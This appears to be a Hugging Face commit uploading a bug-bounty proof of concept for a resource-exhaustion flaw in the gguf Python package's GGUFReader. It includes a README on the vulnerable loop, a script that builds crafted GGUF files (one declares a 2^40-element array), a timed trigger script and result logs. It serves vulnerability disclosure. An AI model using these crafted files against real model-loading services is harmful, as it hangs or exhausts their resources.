Upload folder using huggingface_hub
Browse files- .gitattributes +1 -0
- README.md +86 -0
- array_dos_results_versioned.json +46 -0
- array_dos_results_with_memory.json +82 -0
- artifacts/baseline_small_array.gguf +0 -0
- artifacts/truncated_huge_uint8_array.gguf +0 -0
- artifacts/valid_uint8_array_250000.gguf +3 -0
- artifacts/valid_uint8_array_50000.gguf +0 -0
- make_gguf_array_pocs.py +79 -0
- requirements.txt +2 -0
- trigger_gguf_array_dos.py +101 -0
.gitattributes
CHANGED
|
@@ -33,3 +33,4 @@ saved_model/**/* filter=lfs diff=lfs merge=lfs -text
|
|
| 33 |
*.zip filter=lfs diff=lfs merge=lfs -text
|
| 34 |
*.zst filter=lfs diff=lfs merge=lfs -text
|
| 35 |
*tfevents* filter=lfs diff=lfs merge=lfs -text
|
|
|
|
|
|
| 33 |
*.zip filter=lfs diff=lfs merge=lfs -text
|
| 34 |
*.zst filter=lfs diff=lfs merge=lfs -text
|
| 35 |
*tfevents* filter=lfs diff=lfs merge=lfs -text
|
| 36 |
+
artifacts/valid_uint8_array_250000.gguf filter=lfs diff=lfs merge=lfs -text
|
README.md
ADDED
|
@@ -0,0 +1,86 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
# GGUF Python Reader Metadata Array DoS PoC
|
| 2 |
+
|
| 3 |
+
This repository contains benign GGUF metadata-only files that reproduce resource-exhaustion behavior in the official `gguf` Python package.
|
| 4 |
+
|
| 5 |
+
## Summary
|
| 6 |
+
|
| 7 |
+
`gguf.GGUFReader` parses GGUF array metadata by recursing once per array element and appending one numpy view per element. A small GGUF file with a valid `UINT8` metadata array therefore causes disproportionate CPU and memory use during model metadata loading. A truncated GGUF that declares an extremely large array length also makes the parser keep iterating without advancing because reads past EOF return empty numpy views.
|
| 8 |
+
|
| 9 |
+
No file here contains executable code, tensor weights, network callbacks, persistence, credential access, or destructive behavior. The marker string is `GGUF_ARRAY_DOS_BENIGN_MARKER`.
|
| 10 |
+
|
| 11 |
+
## Tested Versions
|
| 12 |
+
|
| 13 |
+
- Python 3.13.13 on Windows
|
| 14 |
+
- `gguf==0.19.0`
|
| 15 |
+
- `numpy==2.4.4`
|
| 16 |
+
- llama.cpp source inspected at `78fbbc2c0788efc8857a2c0dc9802ec689fa12c1`
|
| 17 |
+
|
| 18 |
+
Install command:
|
| 19 |
+
|
| 20 |
+
```bash
|
| 21 |
+
python -m venv .venv
|
| 22 |
+
.venv/Scripts/python -m pip install -r requirements.txt
|
| 23 |
+
```
|
| 24 |
+
|
| 25 |
+
On Linux/macOS, use `.venv/bin/python` instead of `.venv/Scripts/python`.
|
| 26 |
+
|
| 27 |
+
## Reproduce
|
| 28 |
+
|
| 29 |
+
Generate fresh artifacts:
|
| 30 |
+
|
| 31 |
+
```bash
|
| 32 |
+
.venv/Scripts/python make_gguf_array_pocs.py --out artifacts --valid-count 50000
|
| 33 |
+
```
|
| 34 |
+
|
| 35 |
+
Run the trigger with a timeout-isolated child process:
|
| 36 |
+
|
| 37 |
+
```bash
|
| 38 |
+
.venv/Scripts/python trigger_gguf_array_dos.py artifacts/baseline_small_array.gguf artifacts/valid_uint8_array_50000.gguf artifacts/truncated_huge_uint8_array.gguf --timeout 8
|
| 39 |
+
```
|
| 40 |
+
|
| 41 |
+
Expected result:
|
| 42 |
+
|
| 43 |
+
- `baseline_small_array.gguf` parses quickly.
|
| 44 |
+
- `valid_uint8_array_50000.gguf` is only about 50 KB but creates 50,005 field parts and tens of MB of Python allocations.
|
| 45 |
+
- `truncated_huge_uint8_array.gguf` is 140 bytes and times out rather than failing fast.
|
| 46 |
+
|
| 47 |
+
## Included Evidence
|
| 48 |
+
|
| 49 |
+
`array_dos_results_versioned.json`:
|
| 50 |
+
|
| 51 |
+
- Baseline 141-byte file: `elapsed_sec=0.0009319999990111683`, `tracemalloc_peak_bytes=28813`
|
| 52 |
+
- Valid 50,131-byte file: `elapsed_sec=1.5484974999999395`, `tracemalloc_peak_bytes=35335086`
|
| 53 |
+
- Truncated 140-byte file: timed out at 8 seconds
|
| 54 |
+
|
| 55 |
+
`array_dos_results_with_memory.json`:
|
| 56 |
+
|
| 57 |
+
- Valid 250,131-byte file: `elapsed_sec=12.744927899999311`, `tracemalloc_peak_bytes=176169251`
|
| 58 |
+
|
| 59 |
+
## Artifact Hashes
|
| 60 |
+
|
| 61 |
+
- `artifacts/baseline_small_array.gguf`: `ef66b68d7d9f9690c1c6c27380c5349f435af7ba1d7aebb0dc47cda33f69b12c`
|
| 62 |
+
- `artifacts/valid_uint8_array_50000.gguf`: `ead20680b54f62ac1da0cea39fc5f0dc4e0a6ae5e7b0b6b07b22007b7b389e62`
|
| 63 |
+
- `artifacts/valid_uint8_array_250000.gguf`: `530cd494fdaf6485f5d29cc90e0bdd54328c7aa41d50dd16cb4c77ec2697e77e`
|
| 64 |
+
- `artifacts/truncated_huge_uint8_array.gguf`: `fd98c113e14b2d0212043da98ee1c3cfb369823d99bc41e143fd14bda1390254`
|
| 65 |
+
|
| 66 |
+
## Vulnerable Code Path
|
| 67 |
+
|
| 68 |
+
In `gguf/gguf_reader.py`, `_get_field_parts()` reads `alen` from the file and then loops over every element:
|
| 69 |
+
|
| 70 |
+
```python
|
| 71 |
+
for idx in range(alen[0]):
|
| 72 |
+
curr_size, curr_parts, curr_idxs, curr_types = self._get_field_parts(offs, raw_itype[0])
|
| 73 |
+
aparts += curr_parts
|
| 74 |
+
data_idxs += (idx + idxs_offs for idx in curr_idxs)
|
| 75 |
+
offs += curr_size
|
| 76 |
+
```
|
| 77 |
+
|
| 78 |
+
There is no file-size bound check or bulk scalar-array read. For truncated files, `_get()` returns empty arrays, `curr_size` stays `0`, and the loop continues.
|
| 79 |
+
|
| 80 |
+
## Upload Command
|
| 81 |
+
|
| 82 |
+
If authenticated:
|
| 83 |
+
|
| 84 |
+
```bash
|
| 85 |
+
huggingface-cli upload YOUR_USERNAME/gguf-python-array-dos-poc C:/Users/Pragnyan/dev/huntr-exp1/ggml/hf_ggml_poc . --repo-type model
|
| 86 |
+
```
|
array_dos_results_versioned.json
ADDED
|
@@ -0,0 +1,46 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
[
|
| 2 |
+
{
|
| 3 |
+
"path": "lab\\artifacts\\baseline_small_array.gguf",
|
| 4 |
+
"timeout_sec": 8.0,
|
| 5 |
+
"wall_sec": 0.3960464999981923,
|
| 6 |
+
"returncode": 0,
|
| 7 |
+
"stdout": "{\"gguf\": \"0.19.0\", \"numpy\": \"2.4.4\", \"elapsed_sec\": 0.0009319999990111683, \"tracemalloc_peak_bytes\": 28813, \"field_count\": 5, \"array_key\": \"huntr.small_array\", \"array_part_count\": 21, \"array_data_indexes\": 16}",
|
| 8 |
+
"stderr_tail": "",
|
| 9 |
+
"parsed": {
|
| 10 |
+
"gguf": "0.19.0",
|
| 11 |
+
"numpy": "2.4.4",
|
| 12 |
+
"elapsed_sec": 0.0009319999990111683,
|
| 13 |
+
"tracemalloc_peak_bytes": 28813,
|
| 14 |
+
"field_count": 5,
|
| 15 |
+
"array_key": "huntr.small_array",
|
| 16 |
+
"array_part_count": 21,
|
| 17 |
+
"array_data_indexes": 16
|
| 18 |
+
}
|
| 19 |
+
},
|
| 20 |
+
{
|
| 21 |
+
"path": "lab\\artifacts_50k\\valid_uint8_array_50000.gguf",
|
| 22 |
+
"timeout_sec": 8.0,
|
| 23 |
+
"wall_sec": 1.9691593999996257,
|
| 24 |
+
"returncode": 0,
|
| 25 |
+
"stdout": "{\"gguf\": \"0.19.0\", \"numpy\": \"2.4.4\", \"elapsed_sec\": 1.5484974999999395, \"tracemalloc_peak_bytes\": 35335086, \"field_count\": 5, \"array_key\": \"huntr.valid_uint8_array\", \"array_part_count\": 50005, \"array_data_indexes\": 50000}",
|
| 26 |
+
"stderr_tail": "",
|
| 27 |
+
"parsed": {
|
| 28 |
+
"gguf": "0.19.0",
|
| 29 |
+
"numpy": "2.4.4",
|
| 30 |
+
"elapsed_sec": 1.5484974999999395,
|
| 31 |
+
"tracemalloc_peak_bytes": 35335086,
|
| 32 |
+
"field_count": 5,
|
| 33 |
+
"array_key": "huntr.valid_uint8_array",
|
| 34 |
+
"array_part_count": 50005,
|
| 35 |
+
"array_data_indexes": 50000
|
| 36 |
+
}
|
| 37 |
+
},
|
| 38 |
+
{
|
| 39 |
+
"path": "lab\\artifacts\\truncated_huge_uint8_array.gguf",
|
| 40 |
+
"timeout_sec": 8.0,
|
| 41 |
+
"timed_out": true,
|
| 42 |
+
"wall_sec": 8.020367699999042,
|
| 43 |
+
"stdout": "",
|
| 44 |
+
"stderr_tail": ""
|
| 45 |
+
}
|
| 46 |
+
]
|
array_dos_results_with_memory.json
ADDED
|
@@ -0,0 +1,82 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
[
|
| 2 |
+
{
|
| 3 |
+
"path": "lab\\artifacts\\baseline_small_array.gguf",
|
| 4 |
+
"timeout_sec": 30.0,
|
| 5 |
+
"wall_sec": 0.47702859999844804,
|
| 6 |
+
"returncode": 0,
|
| 7 |
+
"stdout": "{\"gguf\": \"unknown\", \"numpy\": \"2.4.4\", \"elapsed_sec\": 0.0018849999978556298, \"tracemalloc_peak_bytes\": 28768, \"field_count\": 5, \"array_key\": \"huntr.small_array\", \"array_part_count\": 21, \"array_data_indexes\": 16}",
|
| 8 |
+
"stderr_tail": "",
|
| 9 |
+
"parsed": {
|
| 10 |
+
"gguf": "unknown",
|
| 11 |
+
"numpy": "2.4.4",
|
| 12 |
+
"elapsed_sec": 0.0018849999978556298,
|
| 13 |
+
"tracemalloc_peak_bytes": 28768,
|
| 14 |
+
"field_count": 5,
|
| 15 |
+
"array_key": "huntr.small_array",
|
| 16 |
+
"array_part_count": 21,
|
| 17 |
+
"array_data_indexes": 16
|
| 18 |
+
}
|
| 19 |
+
},
|
| 20 |
+
{
|
| 21 |
+
"path": "lab\\artifacts_50k\\valid_uint8_array_50000.gguf",
|
| 22 |
+
"timeout_sec": 30.0,
|
| 23 |
+
"wall_sec": 2.80793629999971,
|
| 24 |
+
"returncode": 0,
|
| 25 |
+
"stdout": "{\"gguf\": \"unknown\", \"numpy\": \"2.4.4\", \"elapsed_sec\": 2.2086056000007375, \"tracemalloc_peak_bytes\": 35335086, \"field_count\": 5, \"array_key\": \"huntr.valid_uint8_array\", \"array_part_count\": 50005, \"array_data_indexes\": 50000}",
|
| 26 |
+
"stderr_tail": "",
|
| 27 |
+
"parsed": {
|
| 28 |
+
"gguf": "unknown",
|
| 29 |
+
"numpy": "2.4.4",
|
| 30 |
+
"elapsed_sec": 2.2086056000007375,
|
| 31 |
+
"tracemalloc_peak_bytes": 35335086,
|
| 32 |
+
"field_count": 5,
|
| 33 |
+
"array_key": "huntr.valid_uint8_array",
|
| 34 |
+
"array_part_count": 50005,
|
| 35 |
+
"array_data_indexes": 50000
|
| 36 |
+
}
|
| 37 |
+
},
|
| 38 |
+
{
|
| 39 |
+
"path": "lab\\artifacts_100k\\valid_uint8_array_100000.gguf",
|
| 40 |
+
"timeout_sec": 30.0,
|
| 41 |
+
"wall_sec": 5.2035122999986925,
|
| 42 |
+
"returncode": 0,
|
| 43 |
+
"stdout": "{\"gguf\": \"unknown\", \"numpy\": \"2.4.4\", \"elapsed_sec\": 4.476508499999909, \"tracemalloc_peak_bytes\": 70404912, \"field_count\": 5, \"array_key\": \"huntr.valid_uint8_array\", \"array_part_count\": 100005, \"array_data_indexes\": 100000}",
|
| 44 |
+
"stderr_tail": "",
|
| 45 |
+
"parsed": {
|
| 46 |
+
"gguf": "unknown",
|
| 47 |
+
"numpy": "2.4.4",
|
| 48 |
+
"elapsed_sec": 4.476508499999909,
|
| 49 |
+
"tracemalloc_peak_bytes": 70404912,
|
| 50 |
+
"field_count": 5,
|
| 51 |
+
"array_key": "huntr.valid_uint8_array",
|
| 52 |
+
"array_part_count": 100005,
|
| 53 |
+
"array_data_indexes": 100000
|
| 54 |
+
}
|
| 55 |
+
},
|
| 56 |
+
{
|
| 57 |
+
"path": "lab\\artifacts\\valid_uint8_array_250000.gguf",
|
| 58 |
+
"timeout_sec": 30.0,
|
| 59 |
+
"wall_sec": 13.607695599999715,
|
| 60 |
+
"returncode": 0,
|
| 61 |
+
"stdout": "{\"gguf\": \"unknown\", \"numpy\": \"2.4.4\", \"elapsed_sec\": 12.744927899999311, \"tracemalloc_peak_bytes\": 176169251, \"field_count\": 5, \"array_key\": \"huntr.valid_uint8_array\", \"array_part_count\": 250005, \"array_data_indexes\": 250000}",
|
| 62 |
+
"stderr_tail": "",
|
| 63 |
+
"parsed": {
|
| 64 |
+
"gguf": "unknown",
|
| 65 |
+
"numpy": "2.4.4",
|
| 66 |
+
"elapsed_sec": 12.744927899999311,
|
| 67 |
+
"tracemalloc_peak_bytes": 176169251,
|
| 68 |
+
"field_count": 5,
|
| 69 |
+
"array_key": "huntr.valid_uint8_array",
|
| 70 |
+
"array_part_count": 250005,
|
| 71 |
+
"array_data_indexes": 250000
|
| 72 |
+
}
|
| 73 |
+
},
|
| 74 |
+
{
|
| 75 |
+
"path": "lab\\artifacts\\truncated_huge_uint8_array.gguf",
|
| 76 |
+
"timeout_sec": 30.0,
|
| 77 |
+
"timed_out": true,
|
| 78 |
+
"wall_sec": 30.04099270000006,
|
| 79 |
+
"stdout": "",
|
| 80 |
+
"stderr_tail": ""
|
| 81 |
+
}
|
| 82 |
+
]
|
artifacts/baseline_small_array.gguf
ADDED
|
Binary file (141 Bytes). View file
|
|
|
artifacts/truncated_huge_uint8_array.gguf
ADDED
|
Binary file (140 Bytes). View file
|
|
|
artifacts/valid_uint8_array_250000.gguf
ADDED
|
@@ -0,0 +1,3 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
version https://git-lfs.github.com/spec/v1
|
| 2 |
+
oid sha256:530cd494fdaf6485f5d29cc90e0bdd54328c7aa41d50dd16cb4c77ec2697e77e
|
| 3 |
+
size 250131
|
artifacts/valid_uint8_array_50000.gguf
ADDED
|
Binary file (50.1 kB). View file
|
|
|
make_gguf_array_pocs.py
ADDED
|
@@ -0,0 +1,79 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""Generate benign GGUF metadata-only parser stress files.
|
| 3 |
+
|
| 4 |
+
The files contain no executable payload and no tensor data. They only exercise
|
| 5 |
+
GGUF metadata array parsing in gguf.GGUFReader.
|
| 6 |
+
"""
|
| 7 |
+
|
| 8 |
+
from __future__ import annotations
|
| 9 |
+
|
| 10 |
+
import argparse
|
| 11 |
+
import hashlib
|
| 12 |
+
import struct
|
| 13 |
+
from pathlib import Path
|
| 14 |
+
|
| 15 |
+
|
| 16 |
+
GGUF_TYPE_UINT8 = 0
|
| 17 |
+
GGUF_TYPE_STRING = 8
|
| 18 |
+
GGUF_TYPE_ARRAY = 9
|
| 19 |
+
|
| 20 |
+
|
| 21 |
+
def pack_str(value: bytes) -> bytes:
|
| 22 |
+
return struct.pack("<Q", len(value)) + value
|
| 23 |
+
|
| 24 |
+
|
| 25 |
+
def kv_string(key: str, value: str) -> bytes:
|
| 26 |
+
return (
|
| 27 |
+
pack_str(key.encode("utf-8"))
|
| 28 |
+
+ struct.pack("<I", GGUF_TYPE_STRING)
|
| 29 |
+
+ pack_str(value.encode("utf-8"))
|
| 30 |
+
)
|
| 31 |
+
|
| 32 |
+
|
| 33 |
+
def kv_uint8_array(key: str, n: int, include_data: bool) -> bytes:
|
| 34 |
+
data = b"\x41" * n if include_data else b""
|
| 35 |
+
return (
|
| 36 |
+
pack_str(key.encode("utf-8"))
|
| 37 |
+
+ struct.pack("<I", GGUF_TYPE_ARRAY)
|
| 38 |
+
+ struct.pack("<I", GGUF_TYPE_UINT8)
|
| 39 |
+
+ struct.pack("<Q", n)
|
| 40 |
+
+ data
|
| 41 |
+
)
|
| 42 |
+
|
| 43 |
+
|
| 44 |
+
def gguf(kvs: list[bytes]) -> bytes:
|
| 45 |
+
return b"GGUF" + struct.pack("<IQQ", 3, 0, len(kvs)) + b"".join(kvs)
|
| 46 |
+
|
| 47 |
+
|
| 48 |
+
def write_file(path: Path, content: bytes) -> None:
|
| 49 |
+
path.write_bytes(content)
|
| 50 |
+
digest = hashlib.sha256(content).hexdigest()
|
| 51 |
+
print(f"{path.name}\t{len(content)} bytes\tsha256={digest}")
|
| 52 |
+
|
| 53 |
+
|
| 54 |
+
def main() -> None:
|
| 55 |
+
parser = argparse.ArgumentParser()
|
| 56 |
+
parser.add_argument("--out", type=Path, default=Path("artifacts"))
|
| 57 |
+
parser.add_argument("--valid-count", type=int, default=250_000)
|
| 58 |
+
parser.add_argument("--huge-count", type=int, default=1 << 40)
|
| 59 |
+
args = parser.parse_args()
|
| 60 |
+
|
| 61 |
+
args.out.mkdir(parents=True, exist_ok=True)
|
| 62 |
+
|
| 63 |
+
marker = kv_string("huntr.marker", "GGUF_ARRAY_DOS_BENIGN_MARKER")
|
| 64 |
+
write_file(
|
| 65 |
+
args.out / "baseline_small_array.gguf",
|
| 66 |
+
gguf([marker, kv_uint8_array("huntr.small_array", 16, include_data=True)]),
|
| 67 |
+
)
|
| 68 |
+
write_file(
|
| 69 |
+
args.out / f"valid_uint8_array_{args.valid_count}.gguf",
|
| 70 |
+
gguf([marker, kv_uint8_array("huntr.valid_uint8_array", args.valid_count, include_data=True)]),
|
| 71 |
+
)
|
| 72 |
+
write_file(
|
| 73 |
+
args.out / "truncated_huge_uint8_array.gguf",
|
| 74 |
+
gguf([marker, kv_uint8_array("huntr.truncated_huge_uint8_array", args.huge_count, include_data=False)]),
|
| 75 |
+
)
|
| 76 |
+
|
| 77 |
+
|
| 78 |
+
if __name__ == "__main__":
|
| 79 |
+
main()
|
requirements.txt
ADDED
|
@@ -0,0 +1,2 @@
|
|
|
|
|
|
|
|
|
|
| 1 |
+
gguf==0.19.0
|
| 2 |
+
numpy==2.4.4
|
trigger_gguf_array_dos.py
ADDED
|
@@ -0,0 +1,101 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
#!/usr/bin/env python3
|
| 2 |
+
"""Trigger script for benign GGUFReader array parsing behavior.
|
| 3 |
+
|
| 4 |
+
Runs each parse in a child process so a no-progress parse can be timed out
|
| 5 |
+
without destabilizing the caller.
|
| 6 |
+
"""
|
| 7 |
+
|
| 8 |
+
from __future__ import annotations
|
| 9 |
+
|
| 10 |
+
import argparse
|
| 11 |
+
import json
|
| 12 |
+
import subprocess
|
| 13 |
+
import sys
|
| 14 |
+
import textwrap
|
| 15 |
+
import time
|
| 16 |
+
from pathlib import Path
|
| 17 |
+
|
| 18 |
+
|
| 19 |
+
PARSE_CODE = r"""
|
| 20 |
+
import json
|
| 21 |
+
import sys
|
| 22 |
+
import time
|
| 23 |
+
from importlib.metadata import version
|
| 24 |
+
|
| 25 |
+
import gguf
|
| 26 |
+
import numpy as np
|
| 27 |
+
import tracemalloc
|
| 28 |
+
|
| 29 |
+
tracemalloc.start()
|
| 30 |
+
start = time.perf_counter()
|
| 31 |
+
reader = gguf.GGUFReader(sys.argv[1], "r")
|
| 32 |
+
elapsed = time.perf_counter() - start
|
| 33 |
+
current, peak = tracemalloc.get_traced_memory()
|
| 34 |
+
array_field = None
|
| 35 |
+
for key, field in reader.fields.items():
|
| 36 |
+
if key.startswith("huntr.") and key.endswith("array"):
|
| 37 |
+
array_field = field
|
| 38 |
+
break
|
| 39 |
+
print(json.dumps({
|
| 40 |
+
"gguf": version("gguf"),
|
| 41 |
+
"numpy": np.__version__,
|
| 42 |
+
"elapsed_sec": elapsed,
|
| 43 |
+
"tracemalloc_peak_bytes": peak,
|
| 44 |
+
"field_count": len(reader.fields),
|
| 45 |
+
"array_key": array_field.name if array_field else None,
|
| 46 |
+
"array_part_count": len(array_field.parts) if array_field else None,
|
| 47 |
+
"array_data_indexes": len(array_field.data) if array_field else None,
|
| 48 |
+
}))
|
| 49 |
+
"""
|
| 50 |
+
|
| 51 |
+
|
| 52 |
+
def run_one(path: Path, timeout: float) -> dict[str, object]:
|
| 53 |
+
start = time.perf_counter()
|
| 54 |
+
try:
|
| 55 |
+
proc = subprocess.run(
|
| 56 |
+
[sys.executable, "-c", PARSE_CODE, str(path)],
|
| 57 |
+
text=True,
|
| 58 |
+
capture_output=True,
|
| 59 |
+
timeout=timeout,
|
| 60 |
+
check=False,
|
| 61 |
+
)
|
| 62 |
+
elapsed = time.perf_counter() - start
|
| 63 |
+
result: dict[str, object] = {
|
| 64 |
+
"path": str(path),
|
| 65 |
+
"timeout_sec": timeout,
|
| 66 |
+
"wall_sec": elapsed,
|
| 67 |
+
"returncode": proc.returncode,
|
| 68 |
+
"stdout": proc.stdout.strip(),
|
| 69 |
+
"stderr_tail": proc.stderr.strip()[-1000:],
|
| 70 |
+
}
|
| 71 |
+
if proc.stdout.strip().startswith("{"):
|
| 72 |
+
result["parsed"] = json.loads(proc.stdout)
|
| 73 |
+
return result
|
| 74 |
+
except subprocess.TimeoutExpired as exc:
|
| 75 |
+
return {
|
| 76 |
+
"path": str(path),
|
| 77 |
+
"timeout_sec": timeout,
|
| 78 |
+
"timed_out": True,
|
| 79 |
+
"wall_sec": time.perf_counter() - start,
|
| 80 |
+
"stdout": (exc.stdout or "").strip() if isinstance(exc.stdout, str) else "",
|
| 81 |
+
"stderr_tail": (exc.stderr or "").strip()[-1000:] if isinstance(exc.stderr, str) else "",
|
| 82 |
+
}
|
| 83 |
+
|
| 84 |
+
|
| 85 |
+
def main() -> None:
|
| 86 |
+
parser = argparse.ArgumentParser()
|
| 87 |
+
parser.add_argument("paths", nargs="+", type=Path)
|
| 88 |
+
parser.add_argument("--timeout", type=float, default=5.0)
|
| 89 |
+
parser.add_argument("--out", type=Path)
|
| 90 |
+
args = parser.parse_args()
|
| 91 |
+
|
| 92 |
+
results = [run_one(path, args.timeout) for path in args.paths]
|
| 93 |
+
rendered = json.dumps(results, indent=2)
|
| 94 |
+
print(rendered)
|
| 95 |
+
if args.out:
|
| 96 |
+
args.out.parent.mkdir(parents=True, exist_ok=True)
|
| 97 |
+
args.out.write_text(rendered + "\n", encoding="utf-8")
|
| 98 |
+
|
| 99 |
+
|
| 100 |
+
if __name__ == "__main__":
|
| 101 |
+
main()
|